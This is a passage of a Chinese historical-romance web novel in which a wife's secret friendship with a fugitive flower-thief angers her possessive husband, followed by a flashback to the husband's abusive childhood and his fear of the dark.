锦书撇着嘴反问:“那夫人以为,一个采花大盗闯妇人宅院,又对人这么好,还知晓这么多喜好,能是什么关系?” 沈遥重新看向她,挑眉道:“是……盗伙?” 锦书:“……” 沈遥越想越合理,“看来她曾经也是个……采花大盗!” “……” 果真是日有所思,夜有所梦。 这天夜里,沈遥一个人上了拔步床入睡,迷糊间又做了一个怪梦。 梦里,她是一身手老练的采花大盗,平日赚的钱都用来打赏唱曲儿的伶人。 月黑风高时,她轻车熟路地翻墙进了一家府邸,白日打听过,这家主人是个模样俊俏的小生,美色在方圆十里都是出了名的。 当她掀开支摘窗,游刃有余进入屋子中,却倏然听到一阵破风声传来,来不及反应,紧接着后脖颈一疼,两眼一黑,直接晕了过去。 一失足成千古恨! 当她再次醒来时,自己已经躺在了巨大的拔步床上,而眼前的人,竟是自己的夫君,时衍! 只见俊俏夫君脱去了上衣,他筋肉毕现,肤如凝脂,肌若雕玉,不愧是出了名的好看。 可是,此时夫君眼中却是污浊与阴鸷,他冷笑着,居高临下,“有意思,自投罗网的小夫人,真叫为夫一顿好找。” “什、什么?” “好好的时夫人不当,竟跑去当采花大盗,夫人啊,不是你答应为夫,要信任我,一辈子待在我身边么?若是不想浸猪笼,那就好好陪为夫玩儿玩儿。” 沈遥浑身一颤,搞不清状况,一时害怕起来,不懂他想怎么玩。 眼看着夫君不知从哪儿变出一条狗链,她惊声大呼:“啊——不要!” 夫君手一顿,挑眉看着她,带着不可置疑的神色。 可他最后却将那狗链拴在自己喉结凸起的脖子上,又将链条的另一端塞到她手中,强行用力一扯。 他脖颈青筋暴起,头跟随着链子的动向移到她耳边,低沉的声音跃耳:“我的乖乖,这么喜欢男\色,是忘了自己夫君有多俊么?竟整日想着往外跑,今夜就帮你回忆回忆。” “一定要好好地,来、干、我。” 沈遥:“!!!” 疲累一整日,晚归后刚躺到沈遥身旁的宋衍,受到了无妄之灾。 只听她忽然惊醒,一声尖叫,在他迷糊之际,一个气壮山河的巴掌扇上了他的脸。 而翌日清晨,沈遥醒来,看到眼窝发青的宋衍,一时懵了。 “你什么时候回来的?没睡觉啊。” 宋衍挑眉:“……” 沈遥见他不说话,更是不解,自顾自披上外衫,“干嘛这么看着我?你回来晚,没睡够,与我何干?” 宋衍气笑了,抬手使劲儿按压着自己的太阳穴,就是不说话。 沈遥定睛一看,这才注意到他侧脸的红痕。 她拉了下被褥,记得昨晚那个令她心惊胆颤的梦,但完全没有做了何事的印象。 她狐疑:“你脸怎么了?” 宋衍捂着脸闷笑,整个人看起来极为诡异,嗓音沙哑:“被鬼打了,很爽。” 沈遥:“……” 不知所云。 …… 又是宋衍晚归的一夜,宁梓谦趁着人不在,再一次潜入了时府。 沈遥已见了他不少次,他每次来都会给她带一份好吃的,与她讲述镇子外的趣事。 虽然她最近总是看到关于“浸猪笼”的剧情,可她实在控制不住自己与宁梓谦的往来。 倒也不是对这个男人生出什么好感,也从未与他有过什么肢体接触,只是单纯觉得这人挺有意思。 她除了宁梓谦外,真的没朋友。 虽然夫君尽可能每日早归陪伴,有锦书在耳边唠叨,也有小橘时常将自己逗得大笑不止。 可在这极为规矩又安静的小院儿中,到底还是生出了一丝孤独与空虚。 沈遥清楚地知道,私见外男是不对的,可即便去做那书上所写的“水性杨花女”,她还是想听到些许来自镇外的声音。 沈遥在椅子上吃着他带来的糖葫芦,而宁梓谦就这样大咧咧在席上箕踞而坐。 “说实话,我在躲躲藏藏之前,可是有钱的公子哥,名下有不少宅子,其中最名贵的一座,落座于山脚下一处河边,景色极为优美。” 沈遥吃完糖葫芦,将手中签子往案上随意一扔。 “你这么有钱,那为何还要做这采花大盗?还要躲躲藏藏?金盆洗手不好吗?” “屁!都是那狗贼!”宁梓谦想到此处骂骂咧咧起来。 他在沈遥面前说过很多次狗贼,可就是不提狗贼为何人。 在他口中所言,此狗贼权势滔天,阴险狡诈,年纪小些,还未加冠,一副小白脸模样,极会隐藏,真乃一衣冠禽兽,道貌岸然之辈。 “我当初就是被这狗贼外表所欺!还给了他不少钱财,助他上位,没想到他得了权势后便恩将仇报,害得我有家不能回!” “诺诺,我跟你说,你千万别被某些小白脸的柔弱外表所欺骗了,这个世道很复杂,没有那么单纯。” 沈遥颔首认可:“嗯,我夫君也总说我为人太过单纯,出去容易被骗,被利用,所以我如今都不出镇子。” “你!”宁梓谦气到吐血,“算了,算了,这不是重点!刚才说到哪儿了?” “你的山脚临河大宅子。” “哦对,我那套大宅子,你知道为何临河而建吗?” 沈遥晃了晃腿,“风景好?你喜欢钓鱼?” 宁梓谦故作高深地摇摇头,“非也,乃是一算命大师说我,命里缺水,而正好就有一处临河的大宅子,虽然贵些,可风水却是与我命格极好的。” 沈遥自是不信风水之说,却也没有说出自己观念,只是继续晃着腿点头。 宁梓谦又道:“后来,我无意中知晓一件事。” 沈遥:“何事?” 宁梓谦大怒道:“那大师其实就是个宅牙,他卖不出那座建在鸟不拉屎之地的宅子,才看上我这个冤大头!” 沈遥“噗嗤”一声笑出来,又立刻鼓起嘴,想要将笑憋回去,最后却还是忍不住。 宁梓谦无奈:“行吧,你就笑我吧,那宅子虽然离长安城有个十五日的行程,附近也无人家,无酒肆,好在风景极美,以后有机会带你去看看。” 沈遥正想说什么,忽然听到外面传来的脚步声,由远及近。 她听出来,那是夫君的脚步声! 她心底一紧,将宁梓谦从地上拉起,哑着嗓子道:“你快走!我夫君回来了!” 宁梓谦见她这般大张旗鼓的模样,心也跟着狂跳起来,好似自己真是个有夫之妇的姘头,在房内苍蝇般乱撞,最后被沈遥眼疾手快,从净室的窗户处扔了出去。 甫一合上窗棂,宋 衍推开寝室房门,大步而入。 沈遥低头从屏风后绕出来,额角还挂着些许细汗,“时衍!你这么快回来了?不是说今夜同窗生辰宴,会晚归吗?” 宋衍不动声色看了一眼屏风后的净室,窗户紧闭,不见丝毫动静。 “宴会无甚趣味,便回来得早些,诺诺在做甚?” “啊。”沈遥扭头往净室一瞥,编不出借口,满脸通红,“就在净室还能做什么?” 宋衍看着她良久,又扫了一眼案上的签子,忽然笑了,上前抓住她的手,将她带回榻上。 他细细搓揉着她的食指,一根一根,“手指怎这般凉?” 沈遥抿唇,没有回答,只是低下头。 宋衍对于她的反应没有过多在意,只是仍帮她暖着手,“夏季末了,很快会入秋,这些时日多穿些,还得加床被褥。” 沈遥“嗯”了一声,抬眸看向他温柔的脸。 她太不是人了。 夫君对她这般好,她竟背着人,私自见外男,还是夫君极为讨厌的男人,还是她的作案同伙。 “今日累吗?” 宋衍对于她的主动关心,自是欣喜万分,“还行。” 他又道:“诺诺呢?今日忙什么了?” 沈遥抿唇,低下头,心底没来由的慌张,内疚感逐步攀升。 “能忙什么,看书,理了下账……你要看账本吗?” 宋衍拉着她的手在自己唇边轻轻吻了吻,又摇了摇头,忽然冷不丁冒出一句话,“诺诺是值得我相信的。” 沈遥被这句话定在榻上,心被他烫了一下。 他相信她,可她却还是背着他见了宁梓谦,不止一次。 既不想背叛宁梓谦,告知关于他的消息,又对不起夫君的信任与爱。 沈遥半天才回过神,只轻轻“嗯”了一句。 宋衍见状只是抚摸着她的发丝,更轻柔了,没有多问她任何一句其他的。 “想我了吗?” “嗯?”沈遥低声细语,别扭道:“早晨不是刚见过么?也就一个白日罢了。” 宋衍揉着自己后脖颈,脸又靠近几分,“可我已经想阿姐想得快疯了。” 沈遥忍不住低头轻笑,“孟浪!” “到底想不想我?” “不想!”沈遥笑着摇头,就是不愿承认。 宋衍声音又低了,“阿姐,你真不想我?” 沈遥耳畔痒得不行,她耸肩躲开。哪儿知他竟抓住她的手指,放到嘴中咬了一口。 沈遥:“啊——” 宋衍:“惩罚。” 这小子,一会儿让她内疚得不行,一会儿又对着她撒娇,一会儿又咬她,坏得很。 她转开视线,不想看他,却还是声音软软道:“想亲亲吗?” “什么?”这回轮到宋衍怔住。 沈遥再次转过头,没有多说一句,飞快地在他唇上落下一个蜻蜓点水般的吻,而后便退开。 宋衍还没反应过来,轻轻摸了摸自己的唇,发生的太快,连余热都未留下。 他轻哼一声,不满道:“就这?也太敷衍了。” “那你想要什么?” “舌吻。” “什么?”沈遥以为自己听错了。 “还没试过,舌吻。”宋衍回答得一本正经,很难想象这人正在端坐着,索求舌吻。 第30章 第30章叫我什么?……夫君…… 沈遥耳根子红了个透顶,“你!你怎如此蹬鼻子上脸!” 宋衍微微眯眼,话不多说,直接单手扣住她的后脑,一手捏住她的下巴,吻了上来。 这次的吻不同以往,霸道而强势,他不知从哪儿学会了,蛮横地用舌尖撬开她牙关,占领她口腔中每一寸土地,夺取所有的空气,好似在宣泄着什么。 他斜眼一瞟那根糖葫芦签子,眼皮一跳,吻得更狠了。 沈遥感到柔软席卷,空气被剥夺后,带着淡淡却又刺激的窒息感。 宁梓谦应该早跑了吧。 她趁机往净室那扇紧闭的支摘窗看了一眼。 “嘶——”沈遥唇上一疼,发觉是被夫君咬了。 宋衍颇为不满,“接吻都这么不专心。” 沈遥无意舔了下唇角,声音闷闷的,“你太用力了,嘴都肿了,况且我还没同意。” 宋衍看着她的香舌,喉结不自觉地滚了滚,低声说:“我是你夫君。” 说罢,他又一次吻上来,只是这一次温柔很多,慢慢舔舐着,带着强烈的安抚,却比刚才还痒。 他轻抚着她耳尖,另一手撑着她后背将整个人环到自己胸前,“诺诺,记着,我是你夫君。” 沈遥被亲得眼神迷离,没听清他的话。 宋衍看着她,“我今日真的想你,诺诺。记住了吗?谁是你夫君?” 见她不说话,宋衍又一次狠狠吻上来。 沈遥想要骂娘。 她不明白为何他如此执着,她不回答他,他就这样一直亲,亲到嘴唇彻底麻木还不愿停下,直到她回答:“你是我夫君。” 宋衍终于笑了,“我是谁?” “时衍。” 他低低嗯了一下,“叫我什么?” “时衍。” “不对!” 他又想亲她,沈遥忙不迭捂住嘴。 “夫君!” 即便声音细如蚊音,宋衍还是听到了,他傻笑起来,懒洋洋地回了一声“诶”。 …… 自那日后,沈遥开始逃避着见宁梓谦。 锦书不在时,她便锁紧门窗,无论外面的人怎么敲,她都没去开。 说实话,心底没有一丝失落是不可能的。 虽然宁梓谦身为男子,却是她结交的第一个朋友。然而鱼和熊掌不可兼得,为了夫君,为了减轻心底内疚与负担,她还是选择与他断绝往来。 在又一次拒绝见宁梓谦后,他接连五日都未前来时府寻她。 或许不会再来了吧。 直到这日她提出去后院中四处转转,锦书微微露出了些许慌张,可问了又什么都不说。 沈遥抱着小橘,带着锦书在外院逛了一圈,夫君知晓她喜欢梨花,又多此一举地将原本的广玉兰树全部拔除,换回梨花树。 然而此时早已过了梨花花期,见不到当初庭院中如漫天飞雪的场景。 倏然,一个身影闪过,往后罩房去,沈遥定睛一看,那背影似乎是南风,而南风身为书童,往日都跟在夫君身旁。 她不解:“时衍今日没去上学?” “啊?”锦书掰着手指,眼睛斜瞟向树根,“奴婢也不知,不过应该是去城中了吧。” “可刚才那人不是南风吗?”沈遥一直看着她。 锦书这个小叛徒,曾经梨花一事就被夫君收买,即便她多次表明忠心,沈遥还是再难以信任。 锦书支支吾吾说不出话,沈遥更加确定,夫君在府中,并且又做了什么事儿瞒着她。 她不再犹豫,直接往南风离开的方向走去,锦书跟在她身后试图阻止,“夫人,如今正是晌午,可需用些午膳?” “不用。” “夫人,今儿天气好,不如出街去逛逛?” “不去。” “夫人……” “行了。”沈遥打断锦书,“你不是说忠心于我吗?再帮时衍瞒着我,以后你就无需伺候我了,反正你也快到该发嫁的年岁了。” 锦书一脸苦相,“夫人,奴婢不想嫁人,只想一辈子伺候夫人。” 沈遥抿唇看一眼她,不再多言,继续往后罩房去,而这一次,锦书亦不再阻止。 到了曾经杖刑丫鬟蔓儿的地方,沈遥果然看到了背对着自己的宋衍,以及被两 个侍卫压在地上的宁梓谦。 她听不清两人间的对话,却能看到宁梓谦带着看仇人般的眼神瞪着夫君,满脸鄙夷。 当她靠近几步后,夫君直起身子,手背过身后,身上带着阴沉的气息。连四周的空气都变得像痰一般,粘连着,卡在喉咙不上不下。 一旁南风厉声道:“宁梓谦,你自找的。主子给过你机会,是你不要,选择自投罗网,好好的宁家小公子不当,偏要觊觎你不该觊觎的人。” 沈遥身子一顿。 她见过夫君霸道又偏执的面孔,也见过他幼稚又柔软的面孔,这此时这张面孔,是他第一次见。 宋衍半阖着眼睛,看着宁梓谦身后,另外两个拿着木杖的侍卫挥了挥手,宁梓谦被一股巨大的力量压倒,脸颊贴地,磨破了皮肤,在地上擦出一条血痕,他大喊一声“狗贼——”,又宽又厚的木杖被挥到空中。 沈遥心惊,大喊:“住手!” 众人被突如其来的话语所打断,两个侍卫收到宋衍眼色后,放下了刑杖。 宋衍顿了好一会儿,才转身望着走向自己的沈遥,眼神在她身上来回巡视,眼神带着往日的温柔:“诺诺,你怎来了?” 他乜了一眼站在沈遥身后的锦书,对方直打哆嗦,连头都不敢抬起。 沈遥抚着怀中小橘的脑袋,心脏跳得不太稳,面上却是平静地说:“你别看她,这也是我家,我想去何处不可去?” 宁梓谦仍被压在地上,骤然抬起头:“诺诺!别管我!就算死,我也不会放弃!” 宋衍低着头,听闻此话后眼眸划过一丝暗沉,又带了细微溢出的杀气。 “行了,你闭嘴!”沈遥看着这傻小子,气不打一处来,将手中的小橘递给锦书抱好,又上前几步到宋衍跟前站定,“时衍,都是我的错,是我私会外男,还瞒着你,你要罚便罚我。” 宋衍平静地看着她,“诺诺,你知道的,我不会伤你一根汗毛。” 沈遥不知为何,有点儿害怕此刻的他,即便他话语和神情仍是像湖边杨柳那般的柔和与自然。 宋衍:“这事错不在你,是这厮私闯时府。” 宁梓谦哂笑道:“狗贼说得不错,要杀要剐,我随你便!这一切与诺诺无关。” 沈遥怕他真对宁梓谦做出何事,心底着急起来,“时衍,宁梓谦只是我的朋友而已。” “是么?”宋衍微微勾唇,神色却如一湾深潭。 沈遥飞快扫一眼披头散发,狼狈十足的宁梓谦,声音带着硬气道:“时衍,退一万步说,宁梓谦不是你时府的人,你无权处置,就算他被官府通缉,那也应是交给官府发落。” 沈遥与宋衍视线焦灼,某一时刻似有火光噼里啪啦闪过,他们都很固执,像战场上厮杀的敌人,谁也不愿退让半步,哪怕两败俱伤,也要对方俯首称臣。 宋衍气笑了,“沈遥,我是你丈夫。” 沈遥:“……” 宋衍:“你以为我一直不知你背着我私会男人吗?我忍很久了,沈遥,你对得起我吗?” 沈遥继续沉默。 宋衍:“若我偏要在府内对这厮动私刑呢?” 沈遥心底内疚,却面不改色,“那你就罚我,我是时府的人。” 见他无动于衷,她又说:“时衍,你说过的,无论我要什么都会给我,我要你现在放了他,你要食言么?” 在即将入秋的季节中,四周的树叶早已开始泛黄,偶尔有风过,打落几片摇摇欲坠的叶片。 有些东西,比如感情与信任,皆是以一己之力的骗局而构建,就像这树叶,悬挂得很吃力,只需一点点外力,便可彻底崩塌。 宋衍收起了最初的笑意,没有了任何情绪的显现。他看着沈遥坚定的视线,又看向宁梓谦的满脸不忿,最后一挥手,令两侍卫放了宁梓谦。 沈遥见状终是松了一口气,却又听他冷然一笑:“好一个郎有情,妾有意。” “时衍。”她见他要走,心底没来由地慌乱起来,抓住他冰凉又指骨分明的手,“……对不起,时衍。” 宋衍没有说话,也没有转头,只是在关节处微微用了几成力,便拧开了她的手,头也不回地大步离去。 一阵风过,带着凉意,沈遥身子晃了晃,看向宁梓谦道:“我送你离开吧。” 她将宁梓谦一路送到葫芦镇口,看着镇外远处连绵起伏的山峦,已有一小部分变了色,阳光从背后透来,空中飞鸟盘旋。 宁梓谦自是发觉她的低落,与她一路沉默,如今分别之际,他还是想逗她:“诺诺,你别想太多,是我技不如人,没想到这么轻易被捉住。你想吃醉香居的鸡腿吗?我下次再给你……” “你以后别来找我了。”沈遥打断他。 宁梓谦别过头,“你是在怪我吗?” 沈遥摇头抿唇,“我不怪你,相反很是感激你这些时日的陪伴。说实话,你是我唯一的朋友,可惜你身为男子,我身为内宅女子,本就不应这般往来。” 宁梓谦瞪着眼,一把抓住她的肩,“诺诺,你在说什么胡话?你以前不会这样想的,你是被那狗贼洗脑了!” “宁梓谦!”沈遥厉声喊了一下,他定住不再说话了。 她扭了下肩,躲开他的手,严肃道:“你说的那人,是我的丈夫,我已经成亲了。他对我极好,爱我,敬我,我没有理由将朋友的位置置于他的前面。” “别说这世道苛刻,出嫁从夫。他既真心待我,又介意此事,我便不应与他以外的男子往来。” 宁梓谦憋着闷气,脸红脖子粗,用力一脚踢飞地上的石子。 若非宋衍拿着他宁家全家人的性命威胁,他此刻定将所有真相告知于沈遥,戳穿这狗贼的人面兽心。 “宁梓谦。”沈遥见他终于放弃,转身离开时又喊了他。 宁梓谦扭过头看去,染上余晖的她极美,她笑着说:“谢谢你,再见。” 沈遥着急忙慌回到时府后,才知夫君早已离开,不知去了何处。 她知道这一次她真是让他失望又伤心了,她会好好哄他。 然而令她失望的是,自放宁梓谦离开后,夫君开启了单方面的冷战。 她去书房找过他,可他闭门不见。有时在梨花院中遇到他,他也是眼不斜视地匆匆离开,在她想将他拦住时,南风又挡住她道:“时爷要事在身,请夫人谅解,等爷回来自会来寻夫人。” 话是这么说,可她却始终没等到夫君来寻。 若非清晨醒来,枕边还残留着淡淡青草味的冷香,她以为夫君真的不愿理她了。 沈遥感觉自己每日忽上忽下,心似乎被签子穿住,放在炉火上炙烤。到底是她的错,是她让人伤了心,虽然自己也是有脾气的,可还是压抑着想方设法去哄他,最后皆是徒劳无功。 这些时日,整个时府的氛围都阴沉沉,凉飕飕的,所有下人都打起了十二分精神做活,连锦书的话都变少了。 沈遥甚至觉得自己出现了幻觉,她时常感到自己身后有着一道炽热的呼吸,窗沿,甚至墙缝,好似有一双眼睛盯着她。 可当她仔细去寻,又什么都没有。 这日,沈遥从锦书处知晓夫君早归,便从晌午就来到厨房中,忙活了一下午,做了些炊饼。后来听闻夫君似乎格外疲累,睡眠也不好,便又准备一壶安神小酒。 听到下人来传他归家后,端着托盘径直往书房去。 正当她穿过梨花院,来到书房时,南风又一次将她挡在门外。 沈遥垂眸看了一眼自己手中的炊饼和小酒,再也没了哄他的心情,最后选择转身离开,叫下人将所有的炊饼全分了去。 自那日之后,沈遥再也没去找过宋衍,只是去镇上买了些医书,自顾自忙起自己的事儿。有时是待在房中看书,有时是去镇上医馆,寻白胡子老头请教些个问题。 她还带着锦书,亲自去过一趟赵家,看望赵大爷,在见到对方仍是身轻如燕后,也安了心。 就这样过了三日,夜晚渐渐凉了下来,屋子里也不再用冰。 宋衍在书房将奏章批完,交给南风后,头疼地按压着太阳穴。 四处跑跳的小橘不知怎的,从内院一路跑来书房,还从厨房叼了一个肉丸子,躲在角落偷吃。 他看着它偷偷摸 摸的模样,低沉地问:“她今日也没过来么?” “没有,已经三日不往这边跑了。”南风低着头面无表情回答,心里却有些幸灾乐祸。 让你作,现在好了,夫人失望了,不来找你了。 宋衍看着大开的支摘窗,摆摆手让南风带着奏章退下。 很快室内安静起来,只剩下猫儿吃肉丸的细微声响。 他深呼吸着,从桌上取下一支毛笔,在一张白纸上随意写着字。他也不明白自己此刻究竟想要怎样,只是不停地写着,一笔一画,越写越快,越写越潦草,越写越用力。 直到毛笔分叉,纸上的字迹再也难以分辨,毛笔忽然被指尖巨大的力量折断,划破他的手心,鲜血流水般哗啦滴了一大滩在纸上,他才终于停下。而他写的所有字,都是一个“诺”字。 宋衍冷笑着将手中断掉的毛笔“啪”一声用力往墙上砸去,刚吃完肉丸的小橘吓得炸起了毛,弓腰观察着他,最后见无危险,又奶声奶气地“喵”了一声。 宋衍冷笑着看过去,讽道:“得了,在她心中,我没宁梓谦那蠢货重要,更没你重要。这么久时日,也没喜欢上我一点,哪怕一点点,呵,实在可笑。” 心底明明燃烧着怒意,周身却不断发冷,额头汗液冒出,顺着他的轮廓,流过喉结,一直到衣襟之中。 他想继续去偷窥她,可她都不再来找他了,他又何必再去? 她不喜欢他,不爱他,皆在情理之中。从小到大,没有人爱过他,未来又怎会有人爱他? “真羡慕你,她这么爱你。”宋衍盯着小橘继续自顾自说着,“你说,若我杀了宁梓谦,再将你扔了,那我是不是就是她心底最重要的人了?” 猫儿眯着眼睛,在地上打了个滚,又舒服地伸展开身子。 宋衍摇摇头,上前蹲下揉着它的肚子,又将猫儿抱起在怀中薅着毛,“没良心的小东西。” 一阵狂风陡然从窗外席卷而来,瞬间吹灭了书房中燃着灯。 这个房间变得黑暗一片,只听“喵”一声尖叫,猫儿从开着的窗户飞奔跳了出去。 …… 翌日,沈遥是被南风强烈的敲门声所吵醒。 锦书听见动静,立刻先行入房,给沈遥洗漱整装完毕,才允了南风入内。 屋外下起了细雨,不如盛夏的舒适清爽的凉意,此刻更带了些令人发颤的寒冷。 玩儿了一整夜的小橘从外面跑入,跳到沈遥身上,小小一团瑟缩在厚实的披风中。 南风满脸急色,说话口吐连珠一般,“夫人!夫人帮帮小的吧!爷从昨夜起,便自己将自己锁在了柴房中,谁也不让靠近,到了现在也不出来,夫人帮忙去劝劝吧。” 沈遥难以置信,“他把自己锁在柴房中?为何?” “这……”南风犹豫起来,还是没说,只是一个劲儿请求,“反正现在下人都不敢靠近柴房,唯有夫人可以。” 沈遥抿唇,扭开头,“你高估我了,南风。” 她去了书房多少次,都被拒之门外。 南风差点儿给沈遥跪下,“爷心底只在乎夫人一人,夫人去看看爷吧,这样下去,爷会出事儿的!” 见他快急红了眼,又说得这般一本正经,沈遥还是跟着南风往柴房走去。【魔蝎小说 mo xie xs .c om】 30-40 第31章 第31章不如去死好了 柴房附近站着几个侍卫,面无表情,不允许任何下人靠近。 见南风带着沈遥来,便主动挪开。 柴房建在整个府邸中最阴暗的位置,完全背光,空间极小,关上门后更是严丝合缝。 沈遥搞不懂夫君在想什么,为何如此,带着忐忑上前,轻轻敲响了木门:“时衍,是我。” 里头的人压根儿不搭理,没有传出任何动静,沈遥又敲了一遍门,这次用了些力,大声了些,“时衍,是我,你开下门。” 话刚说完,柴房里传出一声木柴砸至墙壁上的巨响。 紧接是一声巨吼:“滚——” “夫人!爷真不是有意那样的。”南风一脸着急,跟着沈遥又回了内院。 沈遥本就是个有脾气的人,前些天她努力地想去哄他,却被他冷了这许多时日,热脸贴冷屁股,她也是哄不动了。 “不是我不愿意喊他出来,是他叫我滚的。” 南风说不出话,只能看向锦书,后者收到眼神后更是一脸为难,上前扶住沈遥,“夫人,姑爷往日这般心疼夫人,待夫人这么好,定然是发生了何事,给姑爷气坏了。” “行了,锦书。”沈遥退开她手,揶揄道:“我知道,你就是个小叛徒,心早已飞到时衍那边儿了,哪儿还有丝毫陪嫁丫鬟的样子。” 南风和锦书满脸尴尬,还想说点什么,沈遥直接打断,“你们不用跟我说了,刚才你们也看到了,时衍根本不需要我,还叫我滚。既然他想自己待着,我何必去扰他。” “夫人……” “我乏了,休息会儿,你们出去。”沈遥直接走进拔步床内,不再理会这两人。 南风和锦书面面相觑,最后没法,也只能退出寝室。 沈遥放下帷帐,没有睡觉,只是随意拿了本杂记翻阅。可过了许久,天色渐渐暗淡,她仍静不下心,书页没翻几页,看过一个故事后,转头便忘了。 夫君,出来了吗? 沈遥心烦意乱地下床,打开房门后,又被一阵冷意给逼了回来。 快入秋了,夫君待在那小破柴房中不冷吗? 她随意披了一件厚实的披风,叫人去将南风唤来。 “他应该已经出来了吧?” 南风自然知晓她口中的他指的是宋衍,只是无奈摇摇头,“爷还在柴房中,没有一丝动静,这一整日没吃饭也没喝水,到现在还不出来。” “他疯了吧?”沈遥表示震惊,“他是小孩吗?这么幼稚,不懂得照顾自己身体。” 南风沉吟许久,最后转身将寝室门合上,确认四周无人后,才又来到沈遥身边,决定挑拣些说与她,“夫人,爷的过去,小的并不知晓。却知道,爷其实怕黑。” 怕黑……其实沈遥早知道了。 每夜她去到书房时,总是灯火鼎盛,而每天睡觉时,他一定要留下一盏灯。 可她从没细想过其中缘由。 南风小声叹息,“爷其实睡眠极差,只有在夫人身边,才能睡上一个整觉。夫人,爷对夫人是百分真心相待。夫人在爷心底的重要性,我们这些下人都看得清清楚楚。” “虽然爷纵容着夫人,可爷毕竟是个男人。自己心爱的女人私会外男,这放在任何一个男人身上都忍不了,可爷还是拼命忍下了。” 沈遥抿唇,眨着眼睛凝视着严肃的南风,说不出话。 南风继续说:“夫人,爷其实想要的并不多,即便夫人私会外男,爷都可以控制自己不去在乎。爷在乎的,期待的,其实只是夫人能将爷放在心上,只是一个丈夫,期待自己妻子的爱,仅此而已。” …… 书房灯灭之后,四周黑暗无比。 宋衍猛然如窒息在海水中一般,每一口呼吸都在发疼,口中是呛鼻的血腥,脊柱上的寒意与刺痛蔓延至四肢百骸,甚至连头发丝都在发麻。 噗通——噗通—— 心脏的跳动传递到脑浆与耳膜,震得恍惚。 长久以来所有压抑在心底的那些黑暗,失眠,以及憋闷感,如过了子时的鬼怪,在没有光的地方肆意游荡,吞噬掉他每一次心跳。 他再也控制不住,颤抖着双手,脖颈青筋爆出,跌跌撞撞起身,往柴房奔去,锁上门,将自己彻底封回这个漆黑的角落之中。 他控制不住自己心跳,忽慢忽快,难受到想杀人。而控制住杀意的唯一方式,便是伤害自己。 无论是肉\体还是心灵,他在这样失控的时刻,只能通过自虐来转移注意力,来缓解他的情绪。 他天不怕地不怕,却最是怕黑。 即便到了如今,宋衍仍记得当初那个黑暗狭小的柴房。 奶娘闲聊时说过,小娘是个美丽的女子,生产那日下了初雪,那一盆盆血水浇盖在白雪之上,父亲才终于想起了这个被遗忘的女子。 然而他是天生恶种,怪胎,因为他的降临,小娘永远离 开人世。 他平日安静又孤僻,不爱说话,喜欢一个人躲在一旁排列物体。 他在王妃膝下长大,一直不懂为何所有人都偏心兄长,为何他只是挑走了兄长喜欢的一只蛐蛐,所有人都怀揣着恶意去审视他。 “果然是只白眼狼,王妃对他这么好,竟不知礼让兄长。” “唉,之前寻方士看过,说是这孩子天生克亲人的命。无奈王爷仁善,毕竟是亲生儿子,也是得好好养着。” “王妃也真是心大,就不怕他长大了与他兄长争王位?” “这种怪物,当初就该胎死腹中,怎还有脸面活在这世上!” 那时他好像三岁,来自世道的恶意传入他耳中,他才终于知晓:啊,原来我本就不配活在世上。 可是身为孩子,无论他人有多大的恶意,仍然渴望着从父母与兄长那里获得所谓的爱,哪怕只有半分。 后来,他学会了掩藏欲望,努力成为一个乖小孩。 只要与兄长待在一起,他一定会将那份更温热的汤,更大的木马,更甜的酥酪,全部让给兄长。在背书时,他看一遍便全部记住,可和兄长一起时,他都刻意遗漏些词句,显得比兄长笨些。 所有这一切,都只为得父亲与王妃一个多余的眼神。 生活似乎在他的精心设计下往好的方向走,直到五岁那年,晋王生辰宴上,夫子当着众人的面出了一题。 “长安城中,混入两名匈奴细作,你们知晓其姓名,外貌后,待如何寻出?” 兄长胸有成竹上前,笑道:“既知姓名与外貌,那便该封锁城门,派人全城搜捕,家家户户查探户籍,严刑拷问,若有包庇者,一律同罪!” 众人皆纷纷赞叹兄长年纪小,却颇有胆识,夫子后来又问小宋衍。 一向敬爱夫子的他,第一次没有保留地说出自己的想法:“回夫子,小子以为,该私下查探这两人,找到后,门户大开,随这两人去留。” “哦?这是为何?” “既然他们为匈奴细作,杀一个,或是杀十个,都没有任何意义。活人,永远比死人有价值。无论是利用他们行踪找出城中其余细作也好,亦或是设反间计,给匈奴传递错误情报也好,最终的选择,都必须是利于大周的选择。” 此话一出,众人哗然,谁也想不到,此番言论竟是出于一个五岁小孩之言。夫子大喜,遂冠他以神童称号。 可当他转头看向兄长与王妃时,却被他们面上的怒意刺伤了眼。 那时的他养着一只捡来的小白猫,取名小白。 猫儿双瞳一只绿,一只蓝,极为亲近他,每日都要人陪着睡觉。 那是宴会之后的某一日,同样下了初雪,空气中泛着刺骨的寒意,他养的小白失了踪迹。 兄长告诉他,似乎见到小白跑进了柴房。 他着急忙慌赶到柴房后,却看到了那只猫儿的尸体,被细线捆绑,硬生生拔了指甲,挖出了眼珠,又剥了皮。 正当他愣在原地不知所措时,柴房门被“砰”一声关上,门缝中能隐约看到,兄长冷血的笑。 他抱起猫儿的尸体,疯了似地拍打着柴房门,却无人应答。 那处柴房建在整个王府最偏僻的角落,阴冷潮湿,当门合上后,除了白日透进来的一丝光线,以及光线中飘荡的尘埃,其余皆是黑暗一片。 他从那道门缝中,看到过下人路过,可即便他喊破喉咙,也没人应他,皆如一群木头一般,视而不见。 小宋衍当时觉得很不公,即便他知自己害死小娘,即便知晓所有人都不爱他,可他真的很努力地去迎合众人。 他从来没有拒绝过兄长的任何要求,除了晋王生辰宴,他没有出过一次风头。他一直都低调的,小心翼翼的,连仆人都不如的,在晋王府中苟活着。 可他太过弱小,他没得到任何应有的回报,唯一爱他的小白猫也惨死在他亲人手中,他连只猫儿都保护不了。 他被关在黑暗的柴房中很久,闻着空气中的血腥,抱着猫儿的尸体,拉撒全在一处,没多久,整个柴房便满是臭味。 他却没流下一滴眼泪,只是大大地睁着眼睛,试图在伸手不见五指的黑暗中寻找一丝微弱的光。 他发了热,喝着木桶中的污浊的脏水,吃着角落里发臭的果子,度过了人生中最黑暗的几日。 寒冷,罪恶,阴暗,在这个狭小的空间中肆意生长。他对人性的最后一丝渴求与希冀,在这天的初雪中,被彻底湮灭。 后来终于有下人收到兄长示意,将他放出来时,他不知道过了多久,只知道是很久,很久。 他身上沾满血迹,抱着僵硬发臭的猫儿,一裤子淤泥与屙物,慢慢走向正堂,他们一家三口正在玩儿着投壶,笑声充满了整个院落。 真是幸福的一家啊。 父亲与王妃扭头看见他后一怔,没有询问他这些时日去了何处,也没有在意他因发热而被烧得通红的双颊。父亲一向懦弱冷漠没主见,而王妃也只是带着嫌恶的表情。 “死小子玩儿了这么些天还知道回来。怀里抱着什么恶心的脏东西,还不扔了,别吓坏你哥。” “哦,是那只猫啊。这臭猫死了也好,上次把你哥手都给抓了。让你别养,你非要养。” 